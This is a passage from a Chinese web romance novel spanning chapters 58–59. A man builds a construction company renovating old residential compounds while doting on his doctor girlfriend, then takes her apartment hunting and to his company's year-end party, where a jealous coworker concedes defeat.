“野哥,你马上开公司,肯定要到处跑业务,车卖了多不方便啊。”彭一凡挠挠头,有点不好意思道:“其实我也想跟着你干,虽然我学历不高,也不如野哥你有本事,但我肯定忠心耿耿,任劳任怨,野哥你现在差多少啊,我也能凑出些钱来。” 闻野笑着问他:“那你这汽修店不干了?” 彭一凡说起这个就一肚子牢骚:“哎哟我老早就不想干了,天天遇一堆傻逼客人,说了两天后来取,非要提前来,一个个只知道零件成本便宜,看不见房租水电还有那些设备都是要花钱,我天天烦得一逼。” 闻野沉吟几秒,慎重道:“也不一定我现在搞的就会赚钱。” “我肯定相信野哥你啊,再说了,人生不就是个赌嘛,拼一拼搏一搏,单车才能变摩托,天天咸鱼一样待在这个破汽修店,我感觉一辈子都能望到头了。”彭一凡说着握紧了拳,斗志昂扬道:“我们兄弟同心,其利断金!” 闻野勾了下唇:“嗯。” 闻野运气挺好的,那房子买的时候两百万,前些时有规划下来,附近要修个小学,算是个未来学区房,房价往上涨了几成,一挂上网就不少人要来看。 最后房子卖了270万,酒吧盘出去有100万,再加上彭一凡的20万,总共390万,他去工商局登记注册,成立了杳光建筑公司。 一开始公司就是写字楼里租的个小单间,只有他,彭一凡。 闻野什么都得自己上,他一本本买书来看,还报了几个速成班,学着算工程造价,写改造方案和招标书。 彭一凡则充分发挥他逢人就笑,见面三分熟的本领,到处跑城中村的老破小,给门卫耍几根烟就能聊一下午,基本把这小区各种情况摸得透透的,还能搞到物业领导的联系方式。 闻野再去跟人家谈,也并不轻松,一是他们公司才起步,二则是庙小妖风大,哪怕是个几百户的破小区,都涉及到几方的利益关系。 好不容易谈下来一个,于是闻野又去谈建材,招干活的民工,现在房地产行业已经出现颓势,很多建筑工人失业,人倒是不难招,但闻野也不是是个来的人都招进来的,连个糊墙的泥瓦匠都是他亲自见过,确认是本分可靠,不偷奸耍滑的,才跟人签合同的。 他没打算做一锤子买卖,只有口碑做出来了,以后才会有源源不断的机会。 谈下的这个老小区改造不涉及水电管道,只需要铺地砖,外墙粉刷,再加安个电梯,一个月的工期就完成了。 尾款按时结了下来,扣除成本和工人工资,赚了十万,不算很多,但是一个很好的开始。 闻野这次赚的一分钱没留,一半拿给彭一凡,剩下那一半全包了红包分给那些工人。 他从不是短视的人,之前开酒吧就从没在钱这方面吝啬过,他知道再多漂亮话不如钱实在,要让别人死心塌地跟着你干,就得把真金白银的好处拿给人家。 万事开头难,但只要开头做好了,后面也就好做多了,城中村的老小区改造本就量大面广又迫在眉睫,这一个项目顺利完工之后,闻野陆续又接到了五个老小区的改造工程,工程量要大,但利润也比上一个更高。 之前那一拨工人知道他虽要求严格,但给钱实在,都很愿意跟着他做,还纷纷给他介绍自己那些可靠的工友。 闻野更忙了,虽然有彭一凡盯着,他也得天天过去看进度,而且施工毕竟给居民带来了暂时的不便,动不动就有这矛盾那纷争的,他还得耐着脾气跟个居委会大妈一样调节。 好在自己开公司,时间方面是相对自由的,他下午盯完两个小区,四点多去菜场买个菜,回家做饭,等林杳五点半下班回来,刚好能吃上新鲜热乎的饭菜。 他右手恢复得不错,只要不搬很重的东西,拿刀切菜什么的完全没问题。 林杳五点多一点下班,因为租的房子近,两站公交就到家了,一开门就闻到从厨房里传来的香味,她换了拖鞋噔噔噔跑过去。 男人站在开着小火的燃气灶前,面前是一锅加了山药枸杞红 枣,熬得黄澄澄的鸽子汤,他正拿着锅铲慢慢地撇去面上的浮油。 听到脚步声,闻野侧过头看向她:“今晚得晚一点吃饭了,其他的菜都炒好了,就是这鸽子汤还得多熬会儿肉才软烂,你这星期上了两天夜班,等会儿多喝点汤补补。” “噢你要是饿了的话,客厅的茶几上有我刚买的小蛋糕,你先去吃点垫垫肚子。” 闻野见她还一动不动站着,唇角扯了扯:“去客厅坐着休息啊,上一天班了,在这儿站着不累啊。” 林杳上班是累,可她觉得闻野要辛苦得多。 秋老虎还没走,这些天最高气温又到了三十七八度,她上班坐在有空调的科室,而闻野是顶着大太阳在户外到处跑,人都晒黑了一圈,还要赶回来给她做饭,晚上还得去那几个小区看一趟。 “其实我随便点些外卖吃就行的。”她心疼地说,语气这次带上了几分坚持,“你工作就够忙够辛苦了,就别天天回来给我做饭了。” 浮油撇得差不多了,闻野搁下了锅铲,又把盖子盖上。 他走到她面前,低头看着她:“现在努力工作是想以后给你更好的生活条件,做饭是想你吃得健康有营养,在我看来,这两样是同样重要的,也完全可以同时进行。” “至于你说的辛苦,有那么一点吧。”他伸手将她捞进怀里紧紧抱住,唇角勾了下,嗓音低沉带笑:“这样就缓解了一半。” 林杳被这不算情话的情话撩得脸红,心脏砰砰跳起来,她抬起乌黑澄澈的眼眸,从善如流地问:“那剩下的一半,要怎么缓解?” 闻野把她抱上灰色的流理台,她脚上的两只拖鞋先后掉到了地板上,他倾身吻了上来。 赤橘色的余晖洒进来,锅里的鸽子汤咕咕冒着小泡泡,香气弥漫,这一吻细密,绵长又温柔。 等分开时,彼此的唇瓣都红了,还泛着湿淋淋的水光,闻野舔了舔,蹲下了身,捡起地上的拖鞋一只只替她穿上。 他抬起头,仰视的姿势,看着还坐在流理台上的小姑娘,眉骨抬了抬,眼眸漆黑,笑容痞野。 “下次杳杳觉得我累了,就这样给我补充能量。” 第58章 第五十八章 都想给你 事实证明, 闻野的预测没有错,相比新楼盘的开发,旧小区改造越来越有市场, 相应的政策也不断向之倾斜。 半年时间不到, 杳光建筑公司从当初写字楼的一个小单间, 慢慢扩大到一整个平层,除了做旧小区的翻新改善, 他也承接了其他的项目,比如把老旧但有特色的街区改造为文化旅游一条街。 公司的人当然也越招越多,搞土木工程的,工程造价的,还有会计前台行行政,一切都在走向正轨,越来越有模有样。 招的人多,闻野不用事必躬亲,倒没先前那么忙了,他通常早上把各个在动工的点巡视一圈,中午之前就能回公司。 闻野偶尔也会带饭, 每天晚上他做完晚饭,先给林杳装好她明天要带的饭盒, 有时菜做多了, 两人吃完还剩些, 他就也装了个饭盒带公司来吃。 公司有吃饭的一小片区域, 也购置了微波炉, 但除了行政前台和会计那几个女生偶尔从家里带饭,干工程的一群糙老爷们顿顿都是点外卖。 闻野打开刚热好的饭盒盖子,里面有油焖虾, 青椒火腿,蜜汁鸡翅,还有绿油油的小白菜,有荤有素,看着卫生又可口。 隔壁桌的于洋探着脑袋,瞧见了闻野饭盒丰盛的菜式,再低头看了看自己劣质塑料餐盒里几道油腻的预制菜,忍不住叹着气发出感慨:“一看到野哥带的饭菜,我想找女朋友的心又达到巅峰。” 于洋是上一批招进来的,土木系的研究生,本来是一板一眼地喊闻野老板的,慢慢发现这老板看着冷淡,实际并不摆谱,也一点不搞官僚和形式主义,又有能耐,还大方,他就也跟着彭经理一样喊他野哥。 闻野朝他抬了抬眼,在场其他人也纷纷望向他。 于洋真心实意地羡慕道:“你们看野哥女朋友多贤惠,给野哥带的色香味俱全,一点不亚于大厨水准。” 闻野有女朋友的事在公司人尽皆知,他办公桌摆着的蓝色线条小狗杯子,一看就知道是情侣款的。 而且据彭经理的描述,他女朋友长得如花似玉,特别特别漂亮! 在场众人没觉得于洋这话有什么问题,长久以来的观点就是女生更擅长做饭,他们自己有时间宁愿打几局游戏都不愿下厨房,更别提闻野了。 想到野哥女朋友不仅长得漂亮,又贤惠会做菜,在场一众男员工看闻野的目光都充满了羡慕。 “哈哈哈。”彭一凡捂着肚子笑起来:“那你们可搞错了,在家别说是做饭了,野哥连碗都舍不得让他女朋友洗一个,成天都是野哥变着花样研究菜谱给他女朋友做饭。” 众人闻言都是愣住了,像听到了天方夜谭一样不可置信,又去看闻野,他垂着眼,漫不经心地吃着饭,并不反驳。 岁月打磨之下,男人身上气质越发的成熟稳重,可有时一个举手投足,还是能依稀窥见年少时的轻狂张扬。 怎么着,都和“洗手作羹汤”这几个字不沾边。 行政部那个叫卫恬的女生从招进来那天就对闻野十分心动,她很吃这种冷帅的长相,又有本事有胆识,半年不到就把一个公司搞起来,还发展得如火如荼。 彭经理总把闻总的女朋友吹得跟仙女似的,谁知道其中拍马屁的成分有多少呢?再者说她长得也不差的,读大学时在晚会跳个舞,就一堆找她要微信的男生。 这会儿卫恬还正巧坐在闻野旁边那桌,她瞅准这个时机,轻轻地哎呀了声,柔声细语道:“闻总您每天忙里忙外,公司一大堆要您操心的事,那么辛苦了,怎么还舍得让您天天做饭呢,就应该做好饭菜等您回家,这才是贤内助该有的样子呀。” 闻野脸上懒慢的神色淡去,撩起眼皮,泛着些冷的目光朝声音来源处看去。 卫恬被他看得笑意有些维持不住,表情都僵住了。 闻野只记得是行政部的,人没多大印象,他收回视线,舌尖抵腮哼出一声炫耀十足的笑声:“我女朋友,在剑桥医学系读的本硕,从读书起就奖学金拿到手软,现在是名非常优秀的医生。” “要说贤内助,也是我给她当贤内助,天天在家伺候她。” 他顿了下,扬了扬唇角,神色难掩倨傲和满满的优越感:“而且我女朋友,就爱吃我做的饭,别人做的还不合她胃口。 在场所有人还没从刚才的愣怔中缓过来,又陷入新一轮的震惊之中。 那可是剑桥大学啊,这得多牛逼的学霸才考得上啊?!! 在一众“好厉害”的称赞声中,卫恬抿紧唇角,并不愿就此认输。 学历再高又怎么样,男的一开始觉得找个这样的,说出去有面子,但日久天长,哪个男的愿意成天做小伏低,当祖宗似的伺候着对方,新鲜感过去了,就又觉得没劲了。 第二天卫恬带了饭菜,两个饭盒,其中一盒装满了卤味,热好之后一打开盖子,诱人的香味吸引得旁边的同事都看了过来。 “这些卤味闻着好香啊!卫恬你是哪家买的啊?”同事问道。 卫恬柔声道:“这是我自己在家卤的。” “天啊,你这也太贤惠了。”同事竖起大拇指称赞道。 卫恬矜持地笑笑:“我昨晚特意多卤了些 ,就是想拿来你们尝尝。” 一群男同事嘴上客气地说着这哪儿好意思,一个个筷子比谁夹得都快,生怕手慢无。 彭一凡自己尝了尝,还不忘夹给闻野一块卤牛肉:“野哥,这是真好吃!” 卫恬余光期待又紧张地看着闻野,就见男人先皱了皱眉,但还是拿筷子夹起来放进嘴里,眉梢挑了挑,然后搁下筷子朝她走来。 “你这配方要是不用保密的话,能告诉我一下吗?” “当然能呀!”卫恬掩住欣喜,试探着道:“那闻总我能加您个微信么,我把配方和做法发给您。” 闻野想了下颔首,拿出手机:“我扫你吧。” 卫恬简直喜不自胜,忙不得点开二维码让他扫,又飞快点了通过,那句老话果然就是有道理的,要想抓住一个男人的心,就得先抓住一个男人的胃。 “其实卤这些很麻烦的,闻总您要是想吃,随时跟我说,我卤了给您带来。”卫恬贤惠道。 “不用。”闻野想也不想地拒绝,给她发过去个红包,公事公办的语气道:“我只付了你一份行政的工资,这种工作之外的事你不需要做。” 彭一凡知道闻野对吃的一向不讲究,要是他自己,一碗隔了夜的蛋炒饭都能对付一顿。 彭一凡很有把握对卫恬道:“这你就搞错了,野哥绝对不是自己想吃,他肯定是学着回家做给女朋友的。” 又忍不住啧啧的感慨:“都说宠女朋友的最高境界是当成女儿养,野哥在这方面认第二,没人认第一了。” 卫恬:“………” 转眼一年到了头,闻野公司现在四十多人,也要搞个年会。彭一凡负责这事,他也热衷于搞这些,拿着打印的报名表就去动员大家参加个节目。 卫莹觉得自己机会又来了,她第一个报名,笑吟吟道:“彭经理,我从小学跳舞的,我可以表演段芭蕾,就是好久没跳了,有点生疏,我这几天能不能提前一小时下班回去排练啊。” 朋友都说她穿着白纱裙跳舞的样子可仙了,她不信比不过闻野那个只在传说中很漂亮的女朋友,也肯定能在年会那晚美到闻野,她可是知道闻野办公桌上就有个水晶球,里面就是个跳着芭蕾的女孩。 彭一凡不知道她那点小心思,爽快地点头答应了:“行,大家向卫莹学习啊,你们看她多积极参加公司的活动。” 闻野公司年会的前一天,林杳在医院值夜班,翌日她睡到自然醒,窗帘都拉得严丝合缝,房间里一片漆黑,所以也给她营造了一个很好的睡眠环境。 她按亮台灯,趿上拖鞋走出卧室,闻野坐在客厅的沙发上,听到脚步声,他把搁在膝盖上的电脑放到茶几上,站起了身:“我去把饭菜热热。” 林杳看了眼墙上的挂钟,已经快一点钟了,他之前做的一桌子菜早凉了。 她也拿了一盘跟在他身后进了厨房:“你做好了就叫我起来呀,害你还饿着肚子等我。” 闻野把手里那盘菜放进微波炉,扭到五分钟那档:“我还不饿,你昨晚熬了个大通宵,多睡会儿今天才有精神。” 他又看向她:“下午我们先去看个房,再去年会的酒店。” “看房?”林杳一下没反应过来。 闻野唇角弯了起来,跟她解释:“这半年我赚到了一些钱,正好附近有个离你上班医院更近的小区开盘,我们去看看有没有合适的。” 林杳吃完了饭就去洗头洗澡,闻野办公的地点从客厅转移到卧室,等她洗完了出来,他拿出吹风机给她把头发吹干。 林杳坐着玩了会儿手机,等耳边嗡嗡的声音消失,她扭过脑袋看向身后的闻野:“今天我想把头发卷一下。” 毕竟晚上还要参加他公司的年会,第一次见那么多不认识的人,她就想打扮得漂亮点。 只不过她那只卷发棒前不久买回来,头一回操作她就不小心把手指烫到了,闻野就说什么都不让她再碰那玩意儿,反倒是他自己拿着说明书研究起来,试着给她卷了卷,还弄得挺好的。 闻野拿来卷发棒,插上电源后等着加热,低声笑着问:“要大卷还是小卷?” “我要上星期天,我们出去看电影的那次,你给我卷出的效果。” 闻野回想了下,用上次的那个方法给她卷出个一样的造型,还跟理发店里的Tony老师似的,边很专业地用手指给她整理着卷好的长发,边问她:“这样满意么?” “嗯,给你五星好评。”林杳看着镜子里的自己,眼弯弯道。 “那晚上的小费,”闻野笑着挑起眉梢,不正经的腔调道:“杳杳记得大方点,多给一些。” 林杳想起她上次给他的“小费”,脸颊不由一热,推他出房间:“你快出去,我要换衣服了。” 之前她跟彭思嘉去逛商场时她买了一件芋紫色大衣,结果刚买就大幅度降温了,一直没机会穿,今天其实温度也很低,但酒店有暖气,也就路上冷一小会儿,林杳觉得自己可以忍受。 她里面搭了件杏色羊绒衫,又穿了彭思嘉推荐给她的,光腿效果超好的打底裤,配条小裙子,很简单地画了个淡妆,收拾好也就刻把钟。 林杳推开门走出去,难得她化妆,也是第一次穿着这身在闻野面前亮相,她脸上带着笑,眼眸晶亮地看向男人:“好看吗?” 自然是特别好看的,闻野看得晃了下神,点头,却也皱了下眉提醒道:“杳杳,今天最低气温只有零度。” “我贴了暖宝宝,一点都不冷。”她违心道。 “不冷个鬼。”闻野压根不信,嗤了声戳穿:“你这样穿出去,前脚刚出门,后脚就得打三个喷嚏,你是想冻病了我给你冲苦了吧唧的中药?等天气暖和了,这一身大衣想怎么穿怎么穿。” “而且你对自己的长相要有个清楚的认知。”男人正儿八经的神色道:“你又不是只穿这件大衣好看,你这张脸,披个麻袋都是仙女。” 林杳被他连哄带抱,回到卧室重新换了每天穿的羽绒服和加绒牛仔裤,准备的高跟靴子再穿就不搭了,只能把脚伸进闻野给她拿出来的一双毛绒绒的雪地靴里。 临出门前还被他戴上帽子,用围巾把她裹了一圈,只露一双乌黑的眼睛在外边,打扮得和成熟知性彻底没一点沾边了。 可闻野说得又的确没错,一走出开着暖气的家,林杳就感觉到外面过低的低气温,哪怕穿得很厚实了,她也被从楼道窗户灌进来的冷风吹得瑟缩了下。 闻野关了门走出来,习惯性地抓住她小手,温暖的大掌紧紧包裹着。 林杳还记得自己说一点不冷的话,不想被打脸,皱了皱鼻子顽强道:“不用你给我捂手,我不冷。” 闻野笑着嗯了声,抓着她小手放进自己口袋:“是我冷,杳杳给我捂捂。” 去看的这套房子比他们现在租的要离医院更近,就在医院旁边,走五分钟的路就到了,房子是一梯一户的,精装过了的,每栋都有配备的物业管家,小区的环境也比之前租的要好得多。 再加上地段好,所有八十多个平方,都要将近三百万了。 中介带着他们参观一圈,各种优点说了一通,去了厨房说要给他们烧开水,实则是留出空间给两人商量。 “杳杳觉得怎么样?”闻野问她。 林杳都挺满意的,若说唯一一点觉得不太合适的地方,就是这房子是一室一厅。 现在他们俩住着当然没问题,可等结婚以后有了孩子,那就不够住了啊。 她有点奇怪,闻野在生活上是比她还细致周到的人,怎么也不可能想不到这一点啊。 中介还在厨房里等着水开,客厅里就他们俩,她脸颊有些热,小声把自己的顾虑说了。 她又眨了眨眼,想到一种可能:“你是想丁克么?” 闻野很想丁克,只不过他知道小姑娘肯定喜欢小孩子,他把自己的打算说给她听:“这只是买来我们现在住的,离你医院近,你上下班都会方便很多,你中午还能回来睡个午觉,等以后我们结婚了,肯定还会有更大的房子。” 男人说这话时语气自信,公司欣欣向荣,这半年多赚的钱就够他全款买下这套房了,再给他一年多时间,买大平层的江景房不成问题。 林杳觉得他们结婚并不是很远的事啊。 她想了想,诚心实意地提出建议:“那就等我们结婚了再买呀,现在我们就还继续住那套租的嘛,不然到时候还要把这套再卖出去,各种手续怪麻烦的。” “以后也不会卖。”闻野坚定道:“这就是我们的第一个家,你购物车里那些喜欢的餐盘,还有各种摆设,都可以买回来把我们的家布置起来,不用因为担心搬来搬去麻烦就一直搁置着。” 林杳愣了下,没想到自己这点小心思他都能察觉到。 紧接着又听他道:“等之后我们再搬到新的大房子里,你中午照样能来这里睡午觉,不然你那小折叠椅能睡得舒服,还有几次去晚了都没地睡了。” 她眼睁大了些,还是头一回听到为了中午能睡个午觉就多买套房的。 中介端着两个才倒了热水的纸杯交给他们,笑容殷勤地问:“二位觉得怎么样?” 闻野点头:“我先把定金付了,过两天等我女朋友休息,我和她去办过户手续。” 中介马上从公文包里拿出意向合同给他签了,送两人出去这一路直夸他年轻有为,男人神色始终淡淡,他又夸两人般配,郎才女貌,有夫妻相,闻野唇角这才翘了起来。 天色将晚,冷瑟瑟的北风里飘来糖炒栗子的香气,小推车就在前边的街角。 闻野让林杳先坐进车里,他自己过去,等了会儿,买回一袋现炒的板栗。 热腾腾的,香气扑鼻,林杳剥开尝了一个,又甜又糯,又剥了一个送到闻野嘴边。 闻野弯着唇低头吃了进去,在导航里输入输入彭一凡定的办年会的酒店地址,开车去的路上还接了好几个谈项目的电话。 林杳光听着这些安排,都能感受到他是有多忙,她当然知道他这么拼是为了什么。 车开上了桥,前面蜿蜒着一排堵着的车,闻野挂了电话,从她怀里的纸袋子拿出板栗,剥给她吃。 车内灯光昏暗,男人英俊硬朗的五官蒙着淡淡一层光晕。 林杳抬着长睫,模样认真地看着他说:“我不是只有住大房子才会开心,你给我买板栗吃,我一样觉得很开心的。” 她不想让他那么那么辛苦,有太大的压力。 “嗯,我知道。”闻野骨节修长的手指将板栗上粘着的一点薄皮剥干净了,才喂到她嘴里。 “但是我都想给你。”男人眉眼漆黑,话锋一转,不是那种辞藻华丽的情话,却比那样的情话更动人。 “板栗想给你,大房子也想给你。我现在有的都想给你,没有的也想努力挣来给你。我想要你跟着我,这辈子都不用再去羡慕任何人。” 第59章 第五十九章 两边都尝一尝 彭一凡全权负责年会, 他包了酒店一个宴厅,员工加上有些带的家属,总共八桌。 年会晚上六点半开始, 大家基本都提前到了, 卫恬被大家众星捧月一般地围着, 耳边全是“哇好美好漂亮”的称赞声。 她这一天从早上起就没闲着,新做了美甲, 去理发店专门吹了头发,连脸上的妆都精心画了两小时,为了等会儿的登台表演,她大衣里就穿着件白色羽毛流苏连衣裙,连腿都是光着的。 哪怕酒店里开着暖气,也是相当的冷,但为了今晚给闻总惊鸿一瞥的惊艳感,她咬牙忍住了。 “玲姐你要的耳环链接我这就发给你啊。”卫恬对一女同事笑着道,低头拿着手机搜索购买记录,听到一旁彭经理打电话的声音。 “喂野哥你来了,不在松月厅啊, 我刚发微信里了啊,松月厅的音响设备出了点问题, 酒店这边给我们换到旁边的锦韵厅来了。” 于洋等他挂了电话迫不及待地问道:“彭哥, 野哥今晚把他女朋友也带来吗?” 彭一凡:“当然了!” 于洋表情不由透出些期待和兴奋, 和他一样反应的同事不在少数—— 之前一直听彭经理说老板的女朋友漂亮得和仙女似的, 男同事们都好奇地想一窥其真容, 女同事们则想好好看一看闻总这位女朋友是怎么把他们看着一副冷面冷心的老板拿捏得死死的。 卫恬找出链接发给了同事,眼角余光一直留意着门口的方向,她心里不屑, 觉得被吹得那么狠,打脸的几率更大。 在众人翘首以盼之中,门口终于出现两道身影,远远的,模样看不清,只能先看到闻总身旁那姑娘的穿着。 厚实的羽绒服和雪地靴,既不性感也没有一点女人味,完全没卫恬这一身亮眼。 卫恬唇角刚得意地往上翘了翘,就见紧紧牵着手的两人走了过来,她笑意一滞,身旁同事没忍住发出的一声声哇喔的惊叹声,仿佛巴掌打在了她脸上。 哪怕穿着这么一身既不性感也没女人味的羽绒服,也难掩姿色,对方是极标志的鹅蛋脸,骨像精致完美,皮相也优越极了,肤色细腻雪白,没涂睫毛膏的长睫浓密又卷翘,微微上扬的微笑唇,给人甜美又温柔可亲的感觉。 像卫恬这种化妆技术高超的,一眼就看出林杳没怎么化妆,顶多就是描了个眉,涂了个口红,偏就是这样没怎么打扮,更显出她的天生丽质,美得毫不费力气。 卫恬先前存了暗搓搓跟林杳比美的心思,本来还十分笃定自己更受一筹,这会儿的她觉得不自在极了。 她身上一分钟前还引以为傲的行头和打扮,现在只觉得多余和别扭,卫恬讪讪地往后几步退出围观的人群。 林杳迎着数不清多少道看向自己的目光,唇角轻轻抿了下,笑着和众人打了声招呼。 众人一直停留在她脸上的注意这才被喊了回来,也忙热情地笑着回应,于洋口直心快:“彭哥总说野哥你女朋友多漂亮,我还以为有点夸大的成分,没想到真是如假包换的仙女啊!” 林杳脸颊红了红,有一点不好意思。 偏还牵着她手的男人还“火上浇油”,闻野似有些不满地挑了挑眉梢,语气里又是藏不住的炫耀和得意:“我女朋友可不止是漂亮。” “噢噢!“众人被一提醒,立刻道:“我们知道知道,还是超牛逼的学霸嘛!” 林杳:“……” 林杳耳尖一热,心里的那一点不好意思顿时变成了好多,小腿突然被什么一搂,她低头,看见一个三四岁大点的小男孩。 小男孩两只短短的胳膊搂住了她腿,肉嘟嘟的小脸向上仰着,冲她笑兮兮的,奶声奶气地道:“姐姐,要抱。” 林杳被萌得心软软的。 大家也看到了这慕,就有个男同事用玩笑的口吻控诉道:“廖平你儿子可太过分了,我先前一抱你儿子就哭,现在一看老板的女朋友一来,就主动投怀送抱,是不是有点区别对待了啊。” 廖平是公司项目部的,老婆最近出差,所以年会就把儿子带来了,他性格老实,有些不好意思地挠挠头,语气无奈道:“我儿子也不知道随了谁,从小就颜控,刚出生看到漂亮的护士就不哭了,现在上幼儿园也总爱跟长得好看的小姑娘玩。” 众人哈哈大笑,林杳抽出被闻野牵着的小手,弯下身把他抱了起来,她以前抱过弟弟,知道怎么抱小孩子。 小男孩脸上露出心满意足的笑,伸着胳膊又去勾着她脖子。 廖平也不好意思让林杳抱太久,让儿子下来,小男孩却还不愿意,勾着林杳脖子的手怎么都不肯撒:“还要抱。” 这个姐姐像西游记里的仙女一样好看,身上还好香,他就要多贴贴。 “没关系。”林杳莞尔,“我再多抱会儿。” 直到年会快开始,小男孩才林杳身上下来,被他爸牵着走去另一桌时还眼巴巴地,一步三回头地朝林杳望去。 林杳眼睛弯了弯,其他人也被小孩子这恋恋不舍的模样逗得直笑,唯一全程绷着唇角的人就是闻野了。 一坐下 ,闻野就拉过她胳膊揉起来,林杳好笑道:“你别搞得那么夸张,我不累的。” “四岁的孩子起码二十斤,怎么不累。”闻野刚是看她也喜欢那小孩子,才没强行抱过来,反正以后他们有了孩子,他是舍不得,也绝对不让她一抱就抱这么久的。 想到孩子,闻野拧了下眉:“杳杳。” 林杳疑惑嗯了声,看过去,见男人一张深思熟虑过后正经又严肃的脸,更好奇了:“怎么了?” 就听他语气分外认真道:“我们以后晚点再要孩子好不好?” 小孩子也太黏人了,他自己都还没黏够了! 林杳:“?” 两人离得近,此刻大家又都在讲话,他们两人说什么并不会被别人听到,但她脸上仍浮起一层热意。 他们连生孩子的事都没做,怎么就商量起要孩子的事了? 闻野思考了几秒,继续征求她的意见:“以后我们生女孩子吧,我觉得男孩子有点闹人,还是女儿文静又乖。” 林杳脸颊温度持续往上升,还有点无语,她小声吐槽道:“孩子性别又不是人为能够决定的。” 闻野早有对策:“我觉得你脖子上戴着的那菩萨玉佩真挺灵验的,到时候我们再求求菩萨,让她保佑我们生个女儿。” 林杳:“……” 林杳把自己胳膊从他手里抽了出来,不想搭理他了,不然他越说越离谱了。 彭一凡拿着话筒上台充当主持人,他就适合干这个,没几句话就把气氛搞活跃了。 第一个上场的是两个男同事,两人对唱那首客官不可以,为了第一名的奖金很拼,唱的时候在台上拉拉扯扯,反串的那个男同事一米八多,膘肥体壮的,夹着个嗓子,反差效果拉满。 底下的人都要笑死了,林杳吃着闻野一直给她剥的开心果,看得也很欢乐。 第二个节目是卫恬的芭蕾舞,她脱去外面的大衣,那一身白色羽毛流苏裙还是很出彩的,惹得一众男同事发出哦呜声。 然而卫恬并没多高兴,自从林杳一露面,她就已经歇了艳压她的心思,此刻又特意悄悄观察了一下闻野。 男人看到她穿的这么一身,跟平时看到她时毫无区别,那双黝黑的深眸里没一点起伏变化。 卫恬心灰意冷地走上台,在音乐声响起后中规中矩地跳了一段芭蕾中的经典曲目仙女湖。 卫恬在掌声中下台,彭一凡上去给下一个节目报幕,她坐在林杳后边那桌,经过时林杳小声喊住了她。 卫恬心里一慌,还以为是自己那点小心思被看出来了,结果对方从包里拿出两张暖宝宝递给她,笑盈盈道:“你刚跳得很好,但你穿这么少应该挺冷的吧,你拿贴着会暖和一点。” 卫恬:“……” 漂亮温柔又善良,连她都讨厌不起来了,她输得心服口服。 几个年会的小节目表演完,彭一凡投票选出今晚最佳,用微信私发给他,他统计完了之后再发奖。 闻野把手机拿给林杳让她投,换手机第一天他就录入了她的指纹,林杳按着解锁后点进他微信,找到彭一凡的号,想了想,把票投给那段天鹅湖的表演。 这一桌还有其他几个女同事,看到这一幕犹如在看什么科幻片,拿手机投完票又纷纷点进员工们私下的小群。 【天!!闻总手机密码就是她女朋友的指纹!!刚投票时他直接就把手机给他女朋友投票了!!这得心里多坦荡才敢这样啊!!】 【呵呵,反正我男朋友要是突然休克昏倒,我这时抓着他手指解锁,他绝对分分钟就给我醒过来】 【网上不都说没有一个女人能笑着从男朋友手机走出来,这就是活生生的反例好吗!!!】 【看得我好羡慕,这种长得帅有本事会赚钱还巨他妈专一不在外边聊骚的男人原来真的存在,只是我碰不到罢了呜呜呜呜】 小群里聊得热火朝天,彭一凡也很有速度地统计好了结果,卫恬的那段芭蕾舞和那两个男同事表演的客官不可以并列第一,于是一千块的奖金三人平分。 接着又搞抽奖又搞群里抢红包,随后饭菜也都端上桌,闻野从冲锋衣的兜里摸出根出门前顺手拿的发绳,给身旁的小姑娘把散着的一头长发扎了起来,不然她等下吃饭不方便。 平时出去玩,他也都是这么做的,林杳已经习惯了他这么细心周到。 而这一桌目睹了的女同事,只觉得科幻片又更新了,不仅长得帅有本事会赚钱还巨他妈专一之外又多了个优点,超级无敌细心! 接着又看到平时冷冰冰的老板,先是给他女朋友夹菜,又是剥虾,盛了汤之后还用勺子替她把上面的一层葱花舀掉。 女同事:“……” 麻了,羡慕得麻了,像她们老板这种极品男人还有唯一的一个缺点,就是不能批量生产了。 饭吃到后面,就开始有下属来给闻野敬酒,林杳也喝了点,她喝的是红的,但她酒量一贯不好,还是有些上头。 年会结束后,她被闻野牵着走出酒店,脑袋就已经有些迷糊,腿脚也软绵绵的。 等到了小区的停车场,她直接被闻野一路抱回去的了,闻野把她放到床上,弯身给她脱了鞋袜,然后走去卫生间拿了挂在架子上的毛绒小熊的发箍,轻轻给她套头上。 闻野知道小姑娘今天画了点妆,他又从卫生间拿过来几个瓶瓶罐罐和棉签棉片,之前他看过一次她卸妆,只要有心,那些步骤都能记清楚。 林杳全程闭着眼,手都不用抬一下,就被男人帮着卸了妆洗了脸,还给她把平时用的护肤品给擦上了。 林杳想起今晚有个女同事一脸羡慕地对她说闻野对她好好,旁边其他女同事也都附和地直点头。 她当然也是这么感觉的。 她也看过身边的同学同事朋友谈恋爱,很少能做到闻野这样。 她一开始还有点不好意思,但就像是温水煮青蛙,渐渐的她又习惯了他无微不至的照顾,但反过来想想,她为他做的事其实很少。 一直都是他在为她付出。 闻野刚把等会儿她洗澡要换洗的衣服拿出来,一转身就看到小姑娘好好的,突然蹙起了眉,嘴巴也扁了扁。 “怎么了?”他立刻在她床边坐下。 林杳蹙着眉把刚才的想法和他说了。 闻野知道是这么个原因,心放了下来:“从前小学初中那会儿不都要填个同学录么,有一栏是兴趣爱好,我当时填的都是画画。但后来家里出了一些事,画画就中断了,后面很久我就一直没有什么兴趣爱好了。” 林杳听他提起一个不想关的话题,注意力被带得跑偏,还听得有些心疼。 闻野弯了下唇角:“但后来你搬了过来,我就又有了兴趣爱好,那就是照顾我这个天上掉下来的妹妹。” “你胡说,照顾人怎么能是兴趣爱好呀。”林杳质疑道。 “怎么不能?”闻野笑着反驳:“兴趣爱好不就是给人带来快乐的事么,照顾你我就觉得很快乐很满足,你哪天不让我照顾了,我还受不了呢。” “而且谁说你没有为我做什么,我每天一睁开眼能看到你,就觉得像是拥有了全世界,上班赚钱有动力了,不会像从前那样嫌一生太冗长无聊,反倒是觉得一辈子太短。” 林杳本就喝红了的小脸又染上一层绯色,他、他怎么总那么会讲话的。 “杳杳,你还记不记得下午我给你卷头发,你答应要给我小费的事。”闻野黑眸看着她,忽然提醒道。 林杳回想了下,点头认账。 闻野喉结缓慢滑动了下,趁着她醉得不是特别清醒,试探着提道:“那今晚我给你洗澡好不好?” 又继续循循善诱:“你现在是不是没力气,不想动,正好我来帮你,也不用怕羞,我待会把卫生间的灯关了。” 他说完看见她鼻尖微皱了下,本以为小姑娘还是不愿意,就听她用软趴趴的语调慢腾腾道:“可是你给我卷头发已经欠着你一次小费了,又让帮我洗澡,那我不是又欠你一次了嘛?都还不清了。” 闻野愣了好一会儿才反应过来她是怎么个理解的,他压着狂跳的心脏,微微凸起青筋的 手臂从她腿下环过去将人抱起,昧着良心,佯作大方道:“今晚可以两次小费一起付。” 